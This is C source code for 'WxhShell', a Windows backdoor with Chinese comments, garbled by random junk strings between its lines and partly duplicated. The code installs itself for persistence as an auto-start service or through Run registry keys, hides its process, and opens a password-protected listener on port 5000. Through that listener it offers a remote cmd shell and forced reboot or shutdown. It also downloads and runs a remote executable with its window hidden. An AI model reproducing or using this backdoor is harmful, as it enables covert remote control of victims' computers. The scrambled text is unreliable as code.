(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~UQ<8`@a NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5!$sQ@#}D +opym!\ if (!NtQueryInformationProcess) return 0; _dCDT$^&r C"0
VOb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )D'#>!Y if(!hProcess) return 0; be]/ROP>H 3&{6+ A if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6-/W4L)?> qvGmJN0 CloseHandle(hProcess); COw!a\Jl "iX\U'` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qxHn+O!h if(hProcess==NULL) return 0; m?Cb^WgcF Oj_F1.
r HMODULE hMod; DrAIQ7Jd char procName[255]; a j
.7t=^ unsigned long cbNeeded; )1@%!fr /uDcJ1u66 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gM]E8%;{ eLXL5&}`fh CloseHandle(hProcess); oTXIs4+G kjdIk9 Y if(strstr(procName,"services")) return 1; // 以服务启动 (f_J @n q *Hg-J} return 0; // 注册表启动 &?5)Jis: } B~qo^ppVU c'Ibgfx%m // 主模块 H]wP\m) int StartWxhshell(LPSTR lpCmdLine) T3SFG]H { yENAc sv SOCKET wsl; T;{:a-8 BOOL val=TRUE; (.YSs int port=0; EL z5P}L6 struct sockaddr_in door; Ars*H,9>e f2SJ4"X if(wscfg.ws_autoins) Install(); 4@<wN \' xE!0p EHd port=atoi(lpCmdLine); 8@S]P0lk 4tUt"N if(port<=0) port=wscfg.ws_port; n4 N6]W\5 #6[F& WSADATA data; p8YOow7) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6|3 X*Orn NRT]dYf"z if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Xppb|$qp4H setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nec}grA door.sin_family = AF_INET; Z0y~%[1X door.sin_addr.s_addr = inet_addr("127.0.0.1"); g=qaq
door.sin_port = htons(port); /iQh'rp 8No'8(dPX if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Eu,SvkF w closesocket(wsl); kv+^U^WoU return 1; Lw(tO0b2H }
JgKhrDx Df *<3G if(listen(wsl,2) == INVALID_SOCKET) { KQ81Oxu*C closesocket(wsl); tf8xc return 1; Fi;OZ>;a } ru`U/6n Wxhshell(wsl); 3#]II j`\ WSACleanup(); >m<T+{` ,1~zMzw ^ return 0; }fo_"bs@ aE3eYl9u } ]$^HGmP ME]89 T& // 以NT服务方式启动 _G.!^+)kEm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ef?|0Gm { lVd-{m) DWORD status = 0; ;
2V$`k DWORD specificError = 0xfffffff; \*b
.f YN<vOv serviceStatus.dwServiceType = SERVICE_WIN32; !dh:jPpKq serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ct~j/. serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zOFHdd ,"g serviceStatus.dwWin32ExitCode = 0; &V+KM"Ow serviceStatus.dwServiceSpecificExitCode = 0; X%(NI(+x, serviceStatus.dwCheckPoint = 0; Ej6ho 0_ serviceStatus.dwWaitHint = 0; @)[8m8paV R)*l)bpZ# hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p$jAq~C if (hServiceStatusHandle==0) return; >b5 ;I1o=y g"Ueo'd* status = GetLastError(); c$BH`" <* if (status!=NO_ERROR) HJym|G>%? { uW FyI" serviceStatus.dwCurrentState = SERVICE_STOPPED; ;PU'"MeB " serviceStatus.dwCheckPoint = 0; _FcTY5."S serviceStatus.dwWaitHint = 0; UHU ,zgM serviceStatus.dwWin32ExitCode = status; aot2F60J, serviceStatus.dwServiceSpecificExitCode = specificError; @V5i SetServiceStatus(hServiceStatusHandle, &serviceStatus); @H~oOf return; `"yxmo*0 } 9^?muP<A soQ[Zg4} serviceStatus.dwCurrentState = SERVICE_RUNNING; O`GF| serviceStatus.dwCheckPoint = 0; r%ebC serviceStatus.dwWaitHint = 0; yJ0%6],^g if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B)L0hi } IO=$+c H<<t^,E^.t // 处理NT服务事件,比如:启动、停止 mTUoFXX[ VOID WINAPI NTServiceHandler(DWORD fdwControl) &=n/h5e0t& { =&9c5"V& switch(fdwControl) |pG0 .p4 { BOcD?rrZ0 case SERVICE_CONTROL_STOP: -KfK~P3PF serviceStatus.dwWin32ExitCode = 0; 4e AMb serviceStatus.dwCurrentState = SERVICE_STOPPED; >b=."i serviceStatus.dwCheckPoint = 0; 5kQ@]n:<k serviceStatus.dwWaitHint = 0; yqL" YD { kTI5CoXzq SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q3^h } S^p^)
fAmF return; $@]
xi case SERVICE_CONTROL_PAUSE: ZnzO] serviceStatus.dwCurrentState = SERVICE_PAUSED; J` gG`? break; V rx,'/IS8 case SERVICE_CONTROL_CONTINUE: (y&sUc9 serviceStatus.dwCurrentState = SERVICE_RUNNING; B9$f y).Gp break; 'kY/=*=Q case SERVICE_CONTROL_INTERROGATE: /
j%~#@ break; B]() }; |mRlP5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6aHD?a o } +/RR!vG, tK/,U
=+ // 标准应用程序主函数 /je
$+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rf>)#hn% { ^ +@OiL>&i kN{$-v=K // 获取操作系统版本 ISK 8t OsIsNt=GetOsVer(); h!|U j GetModuleFileName(NULL,ExeFile,MAX_PATH); r<:d+5" @H4]Gp ] // 从命令行安装 fsw[R0B if(strpbrk(lpCmdLine,"iI")) Install(); \f(zMP E"S#d&9 // 下载执行文件 |o9`h 9i if(wscfg.ws_downexe) { u7RlxA: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sP2Uj WinExec(wscfg.ws_filenam,SW_HIDE); ZS(%!+ M } +lVA$]d 'xG J;pY if(!OsIsNt) { Yk?q \1 // 如果时win9x,隐藏进程并且设置为注册表启动 B&B:P HideProc(); DQP!e6Of StartWxhshell(lpCmdLine); W SxoGly } srAWet else ~TS!5Wiv if(StartFromService()) 8]b;l; W5 // 以服务方式启动 \9`
~9#P StartServiceCtrlDispatcher(DispatchTable); V]+y*b.60 else Y~{<Hs // 普通方式启动 %g@\SR. StartWxhshell(lpCmdLine); DC1.f(cdR I%Yq86 return 0; u%yYLpaKf } qGMU>J.;c Xa#.GrH6 AH/o-$C& UQ;2g\([ =========================================== ty"L&$bf Z4As'al %cUC~, g_( jnztCNaX 4:a ~Wlp[ n;kWAYgg " 5Ww,vSCV) M/9[P*
VE #include <stdio.h> \<T7EV. #include <string.h> FGyrDRDwC #include <windows.h> p_&B+
<z #include <winsock2.h> x7<l*WQ #include <winsvc.h> fKr_u<| #include <urlmon.h> v^s?=9 0|j44e} #pragma comment (lib, "Ws2_32.lib") G"-V6CA[ #pragma comment (lib, "urlmon.lib") D86F5HT}} $t}W,? #define MAX_USER 100 // 最大客户端连接数 (}>)X] #define BUF_SOCK 200 // sock buffer x4wTQ$*1 #define KEY_BUFF 255 // 输入 buffer wEX<[#a- o
-)[{o\ #define REBOOT 0 // 重启 %$Py @g #define SHUTDOWN 1 // 关机 B;NK\5> +}?%w|8||s #define DEF_PORT 5000 // 监听端口 Al8Dw)uG{ KGo^>us #define REG_LEN 16 // 注册表键长度 y }R2ZO #define SVC_LEN 80 // NT服务名长度 hFr+K1 -=8f*K[W // 从dll定义API \ctzv``/n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $!9/s S? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z]TQ+9t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y%eW6Y# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); biS[GyQ /<$|tp\Rc // wxhshell配置信息 _RxnB? struct WSCFG { fS|e{!iI" int ws_port; // 监听端口 dJnKa]X char ws_passstr[REG_LEN]; // 口令 ~aQR_S int ws_autoins; // 安装标记, 1=yes 0=no C6a- char ws_regname[REG_LEN]; // 注册表键名 .|07IH/Di{ char ws_svcname[REG_LEN]; // 服务名 VWK/(>TP char ws_svcdisp[SVC_LEN]; // 服务显示名 CL7/J[TS char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;y@zvec4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kJO Z;X=9/ int ws_downexe; // 下载执行标记, 1=yes 0=no m,q)lbRl char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &1^~G0Rh\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OGJrwl +MaEet }; GeB&S!F ?f'`b<o // default Wxhshell configuration Hmhsb2`\ struct WSCFG wscfg={DEF_PORT, Y:m8UnT "xuhuanlingzhe", z2,NWmP|w 1, $yj*n; "Wxhshell", i>CR{q "Wxhshell", Ti0kfjhX7 "WxhShell Service", !.O[@A\.- "Wrsky Windows CmdShell Service", K,|3?CjS "Please Input Your Password: ", GIpYx`mHi 1, y&8`NS#_p? "http://www.wrsky.com/wxhshell.exe", -@#],s7 "Wxhshell.exe" xy!E_CuC$ }; t5K#nRd Z: _:tS-Mx@5 // 消息定义模块 |4j6}g\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A=|a!N/ char *msg_ws_prompt="\n\r? for help\n\r#>"; P(8
u L|^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |P|2E~[r char *msg_ws_ext="\n\rExit."; &Fuk+Cu{ char *msg_ws_end="\n\rQuit."; Zj ` ;IYFG char *msg_ws_boot="\n\rReboot...";
fB]2"( char *msg_ws_poff="\n\rShutdown...";
xele;)Y char *msg_ws_down="\n\rSave to "; aCQ[Uc<B: b3%a4Gg& char *msg_ws_err="\n\rErr!"; Lwf[*n d char *msg_ws_ok="\n\rOK!"; '" &*7)+g* "oZ_1qi< char ExeFile[MAX_PATH]; =X[?d/[ int nUser = 0; !XI9evJw HANDLE handles[MAX_USER]; s!D2s2b9e int OsIsNt; fQ!W)>mi
u0oTqD? SERVICE_STATUS serviceStatus; T>#~.4A0 SERVICE_STATUS_HANDLE hServiceStatusHandle; BOM0QskLf ,d_rK\J // 函数声明 N!dBF t" int Install(void); $qZ6i int Uninstall(void); |HY{Q1% int DownloadFile(char *sURL, SOCKET wsh); 30Qp:_D int Boot(int flag); $qg2@X. void HideProc(void); z%+rI int GetOsVer(void); [U^Cz{G int Wxhshell(SOCKET wsl); g;AW void TalkWithClient(void *cs); d*k5h<jM int CmdShell(SOCKET sock); lcReRcjm int StartFromService(void); ]=xX_ int StartWxhshell(LPSTR lpCmdLine); &vN!>bR y,`0f| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .T(vGiU VOID WINAPI NTServiceHandler( DWORD fdwControl ); -:45Q{u/ ^
.A // 数据结构和表定义 "ixea- 2 SERVICE_TABLE_ENTRY DispatchTable[] = jHatUez4O { b{-|q6 {wscfg.ws_svcname, NTServiceMain}, \21Gg%W5AE {NULL, NULL} LqJV }; NhF"% f61vE // 自我安装 /.A"HGAk int Install(void) ZXiJ5BZ { '
\>k7?@ char svExeFile[MAX_PATH]; *tR'K#:&g! HKEY key; ?/sn"~" strcpy(svExeFile,ExeFile); d>zC[]1 ze5#6Vzd& // 如果是win9x系统,修改注册表设为自启动 wCv9VvF` if(!OsIsNt) { u:W/6QS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 152s<lu1Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lm&^`Bn) RegCloseKey(key); 4u41M,nJQd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I|;zGmg#k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +N2ILE8[< RegCloseKey(key); g@/}SJh/> return 0; TEj"G7]1$A } -*T0Cl. } KZ AF9 } ta x:9j|~ else { Lrr(7cH,
eIlovq/X // 如果是NT以上系统,安装为系统服务 `}$bJCSF.n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jx`7W1%T if (schSCManager!=0) +eLL)uk { }jWg&<5+z SC_HANDLE schService = CreateService M5_t#[ [ ( `0q=Z], schSCManager, 7z/O#Fbs wscfg.ws_svcname, 4:b'VHW. wscfg.ws_svcdisp, @PQd6%@ SERVICE_ALL_ACCESS, tk8\,!9Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L@Qvj-5e SERVICE_AUTO_START, ?pd/cj^ SERVICE_ERROR_NORMAL, #RSUChe7w svExeFile, DZH2U+K NULL, /"~UGn]R NULL, Q:y'G9b NULL, =9p3^:S NULL, 4_'B oU4 NULL Wy/h"R\= ); l4iklg3 if (schService!=0) ]8Xip/uE { Clap3E|a CloseServiceHandle(schService); Ja/ CloseServiceHandle(schSCManager); `@:TS)6X0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TpYh)=;k strcat(svExeFile,wscfg.ws_svcname); Pl`Nniy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { plJUQk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r/P}j4)b7 RegCloseKey(key); `@0AGSzUv return 0; }&6:0l$4! } hK{<&T } fuF{8-ua CloseServiceHandle(schSCManager); (#z6w#CU( } ^7;s4q } $2}%3{<j EUV8H}d5 return 1; x1E;dbOZ } 0XqxW\8_l pNmWBp|ER // 自我卸载 Xi\c>eALO int Uninstall(void) =WZ@{z9J { ?FR-aXx HKEY key; +.|RH S9%,{y if(!OsIsNt) { *_}0vd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _bgv +/ RegDeleteValue(key,wscfg.ws_regname); YGc:84S RegCloseKey(key); )_4()#3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MtoOIkQ RegDeleteValue(key,wscfg.ws_regname); %@TC-
xx RegCloseKey(key); tL<.B return 0; w
$`w } ^7=7V0>,: } '^$+G0jv } @^ m0>H else { fd>&RbUp DrxQ(yo} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q#K10*-O6 if (schSCManager!=0) @A*>lUo { .`v%9-5v
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ja&m-CFK if (schService!=0) E'SDT*EI { "J+4 if(DeleteService(schService)!=0) { %so{'rQl CloseServiceHandle(schService); Qj(ppep\U" CloseServiceHandle(schSCManager); G\V*j$}! return 0; &,{YfAxQ` } {[L('MH2| CloseServiceHandle(schService); Sw5-^2x0' } /5j5\F:33 CloseServiceHandle(schSCManager);
R*S:/s } ;G3?Sa7+ } s2 :Vm\ l~DIV$>,Z return 1; x7G*xHJ } '!,(G3 1v,R<1)& // 从指定url下载文件 y%kZ## int DownloadFile(char *sURL, SOCKET wsh) u3pFH( { %NC/zqPH~ HRESULT hr; LGX+_" char seps[]= "/"; !7MRHI/0C char *token; ~(GNY5 char *file; $b53~ char myURL[MAX_PATH]; r`h".=oD char myFILE[MAX_PATH]; ~<s^HP2U{ urCTP.F strcpy(myURL,sURL); ~{vB2 token=strtok(myURL,seps); kY{$[+-jR while(token!=NULL) LNHi}P~ { { w sT file=token; v'S5F@ln token=strtok(NULL,seps); ]6A wd A } ZKpJc'h ('Uj|m}9 GetCurrentDirectory(MAX_PATH,myFILE); t*)mX2R, strcat(myFILE, "\\"); 257$ ! strcat(myFILE, file); 7\R"RH- send(wsh,myFILE,strlen(myFILE),0); .q[}e);) send(wsh,"...",3,0); V{A`?Jl6{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EUQtl_h/H if(hr==S_OK) d)acWF\ return 0; /!MKijI else &;L=f; return 1; ^w<aS
w L/]
(pXEp } X ,^([$ Pt/]Z<VL // 系统电源模块 lI.oyR' int Boot(int flag) DX+zK'34 { C_8_sbZ/ HANDLE hToken; Q>rr?L` TOKEN_PRIVILEGES tkp; cY kb3( >!a- " if(OsIsNt) { RtpV08s\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W g6H~x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iemp%~UZ tkp.PrivilegeCount = 1; .5}Gt>4XM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 57gt"f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4K?
\5(b if(flag==REBOOT) { JPng !tvR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8UqH"^9.Q7 return 0; xSSEDfq } tpO'<b else { 7C,giCYU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y)CvlI return 0; [A"=!e$< } GdVF; } jY]51B else { Gsb^gd if(flag==REBOOT) { N)R5#JX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *L$_80 return 0; ugE!EEy[^ } ubOXEkZ8N else { 2{vAs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Z#Sj=z return 0; 5\#I4\ } >0<n%V#s:r } 5Pn.c!
%DXBl:!Y` return 1; A8Fe@$<#8 } Vdd xdM'v{N#m // win9x进程隐藏模块 LbRQjwc]W void HideProc(void) HG?+b { Fs%`W4/ .SER,],P HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C c:<F_UI if ( hKernel != NULL ) Sp:w _;{# { Rb&9!z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [YHtBM:y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (=Kv1
H aD FreeLibrary(hKernel); o.0tD } 6kdbbGO- F4==a8 return; f(~N+2} } X~D[CwA|` $8%"bR;Hu // 获取操作系统版本 Mb 4"bDBsl int GetOsVer(void) p^RX<L/\=_ { !|H,g wqU OSVERSIONINFO winfo; yV\%K6d|3& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1Kk6nUIN GetVersionEx(&winfo); aK@
Y) Ju' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NLG\*mQ return 1; Q!V:=d else S_Wq`I@b return 0; "V26\ } p'2IlQ\ L6{gwoZf3 // 客户端句柄模块 F=1 #qo<? int Wxhshell(SOCKET wsl) yxp,)os: { :;]9,n SOCKET wsh; v
x/YWZ struct sockaddr_in client; /3~L#jS DWORD myID; 2[qfF6FHA vB_3lAJt@ while(nUser<MAX_USER) ~nfOV* { w3);ZQ| int nSize=sizeof(client); 3c3;8h$k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'kcR:5B if(wsh==INVALID_SOCKET) return 1; aXJ/"k #Tl 6Jb0MX"AVr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A?!RF7v if(handles[nUser]==0) 6{1=3.CL closesocket(wsh); E(|A"=\ else #5)/B nUser++;
v>B412l } __.MS6"N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f?)7MR= <;PKec return 0; J*$%d1 } $$1t4=Pz "}*D,[C5e // 关闭 socket wb?k void CloseIt(SOCKET wsh) ge
GhM>G { [=q/f2_1. closesocket(wsh); 7N[".V]c nUser--; NOXP}M ExitThread(0); lsOv#X-bE } PD0&ep1h7G bN zb#P#hP // 客户端请求句柄 D~ Y6%9 void TalkWithClient(void *cs) n*wQgC'vw { ra T9 m]>zdP+ SOCKET wsh=(SOCKET)cs; e!*]y&W char pwd[SVC_LEN]; QTi@yT: char cmd[KEY_BUFF]; 9Sxr9FLW~ char chr[1]; 6Qt(Yu*s int i,j; [_(J8~va @NRN#~S,_] while (nUser < MAX_USER) { $5JeN{B |du%c`wl if(wscfg.ws_passstr) { 018SFle if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lTMY|{9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s"`~Xnf //ZeroMemory(pwd,KEY_BUFF); m.m6. i=0; :&vX0
Ce: while(i<SVC_LEN) { ?IHt T3'Rt uv/\1N;V3 // 设置超时 jj2iF/ fd_set FdRead; Intuda7e1 struct timeval TimeOut; b},2A'X FD_ZERO(&FdRead); -!1=S: S FD_SET(wsh,&FdRead); uNyN[U TimeOut.tv_sec=8; 5cIZ_# TimeOut.tv_usec=0; EyA
ny\" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <}{<FXk[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c#{lXS^ =6Ok4Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H}F
UgA; pwd=chr[0]; \+R %KA/F if(chr[0]==0xd || chr[0]==0xa) { :$b` n pwd=0; *zrGrk:l break; X+XDfEt:Q } -K=.A*} i++; QX<n^W } A,<5W } {wz)^A
sy // 如果是非法用户,关闭 socket ,^?g\&f( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qhxMO[f } A
r]*?:4y[ >fXtu:C-!J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qKfUm:7Q_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eavn.I8J Ra|P5 while(1) { l!x+K& zX_F+"]THt ZeroMemory(cmd,KEY_BUFF); O3o^%0
Xs052c|s // 自动支持客户端 telnet标准 kJ5z['4? j=0; t8-Nli*O while(j<KEY_BUFF) { )hrsA&1w
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d*d:-f~q cmd[j]=chr[0]; 3O2G+G2 if(chr[0]==0xa || chr[0]==0xd) { rH`\UZ{cc cmd[j]=0; prj( break; 0Gs\x } F}u'A,Hc j++; >SDQ@63E? } (Ut8pa+yX p*Q-o // 下载文件 (a_bU5) if(strstr(cmd,"http://")) { *ai~!TR send(wsh,msg_ws_down,strlen(msg_ws_down),0); $\NqD:fgb if(DownloadFile(cmd,wsh)) e' l9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7(+4^ else 'Eur[~k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ev;&n@k_I } 4}m9, else { kku<0<(N gvR]"h switch(cmd[0]) { 6NX#=A Gf"TI:xa // 帮助 i"a3POV> case '?': { nm1dd{U6^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [L+*pW+$\. break; y{@\8B] } oM!&S'M/ // 安装 e|{R2z"^ case 'i': { X+]>pA if(Install()) lZ-U/$od send(wsh,msg_ws_err,strlen(msg_ws_err),0); S3Y.+. 0U else GmR3
a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e El)wZ,A break; $,~Ily7w } ;-VZV p}Y // 卸载 wvq4 P case 'r': { +Xs E if(Uninstall()) YYn8!FIe send(wsh,msg_ws_err,strlen(msg_ws_err),0); &NBH'Rt else BEaF-*?A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @??3d9I break; ar<8wq<4G } +u
Iq]tqe // 显示 wxhshell 所在路径 kC. !cPd case 'p': { FB?~:7+' char svExeFile[MAX_PATH]; =Mx"+/Yo* strcpy(svExeFile,"\n\r"); m*]`/:/X[ strcat(svExeFile,ExeFile); i=#`7pt%'a send(wsh,svExeFile,strlen(svExeFile),0); E\!X$ break; g{DehBM } V,rc&97 // 重启 -E?:W`! case 'b': { o^~ZXF} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @[J6JT*E if(Boot(REBOOT)) *,Bm:F<m send(wsh,msg_ws_err,strlen(msg_ws_err),0); T$lV+[7 else { d2UidDU5qa closesocket(wsh); F NPu ExitThread(0); f/J/tt } ,7j8+p|}, break; G~5pMyOR } |2l-s 1|y // 关机 -0CBMoe case 'd': { INr1bAe$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); teS>t!d if(Boot(SHUTDOWN))
"/6#Z>y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1k6asz^T else { OY{fxBb closesocket(wsh); /.0K#J:
ExitThread(0); mzK0$y#*o } D-/6RVq0m break; ;F258/J } "BSY1?k{ // 获取shell #<)[{+f[t case 's': { ht2Fie CmdShell(wsh); Cw(e7K7& closesocket(wsh); 72Bc0Wg
ExitThread(0); ^!S4?<v break; ,pD sU @ } `'s_5Ek // 退出 D Yf2V6' case 'x': { ,<L4tp+y0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )<V!lsUx'- CloseIt(wsh); &Gh,ROo4 break; mj'~-$5T } <=n;5hv: // 离开 bpBn3f`?* case 'q': { Z (6.e8fK send(wsh,msg_ws_end,strlen(msg_ws_end),0); tAN!LI+w closesocket(wsh); c]Epg)E WSACleanup(); f DXK<v) exit(1); #`3Q4 break; ^}~Q(ji7 } hOB<6Tm[ } n'mrLZw } SEI0G_wk$ Ll=G+cw6P // 提示信息 +1T>Ob;hk if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G K~A,Miqk } !d()'N } r:V
bjmL L!xFhVA< return; =Oy& f:s } ?Vg~7Eu0 fSbLkd 9 // shell模块句柄 j:cu;6| int CmdShell(SOCKET sock) t/t6o& { #|E#Rkw! STARTUPINFO si; 6ZIPe~` ZeroMemory(&si,sizeof(si)); 01@WU1IN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p?$N[-W 6- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YWn""8p;P PROCESS_INFORMATION ProcessInfo; 68?&`/t char cmdline[]="cmd"; `
1+*-g^r CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (m2%7f.I return 0; 1SjVj9{: } q,ie)` <2]h$53y! // 自身启动模式 CCG5:xS int StartFromService(void) fh`Y2s|:7R { Mk#r_:[BS typedef struct Mi.2
> { ]@9W19=P!P DWORD ExitStatus; A]m*~Vj] DWORD PebBaseAddress; Cl3vp_ DWORD AffinityMask; aiX&` DWORD BasePriority; 9c]$d ULONG UniqueProcessId; H&ek"nP_ ULONG InheritedFromUniqueProcessId; 0E#??gN } PROCESS_BASIC_INFORMATION; BaIpX<$T nq?+b >// PROCNTQSIP NtQueryInformationProcess; RTVU3fw 4Vi*Qa_,y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =b$g_+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g"sb0d9 /ZiMD;4@y HANDLE hProcess; lB _9b_|2 PROCESS_BASIC_INFORMATION pbi; ?H8w;Csq- 4e>f}u5 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?&0CEfa? if(NULL == hInst ) return 0; FMCA~N o%+w:u. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gtH^'vFZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U $#^ e NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6?}|@y^fb ,2!7iX if (!NtQueryInformationProcess) return 0; 1.p?1"4\u "oxUKT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L$c 1<7LU if(!hProcess) return 0; 5(#z)T 8-+# !] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]uhG&:
} $xW9)) CloseHandle(hProcess); GjEV]hqR C4E}.``Hm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aT2%Az@j if(hProcess==NULL) return 0; !N+{X\+ #(qvhoi7lM HMODULE hMod; @; 9KP6d char procName[255]; NUiv"tAY unsigned long cbNeeded; r^.9
|YM5 o]p$
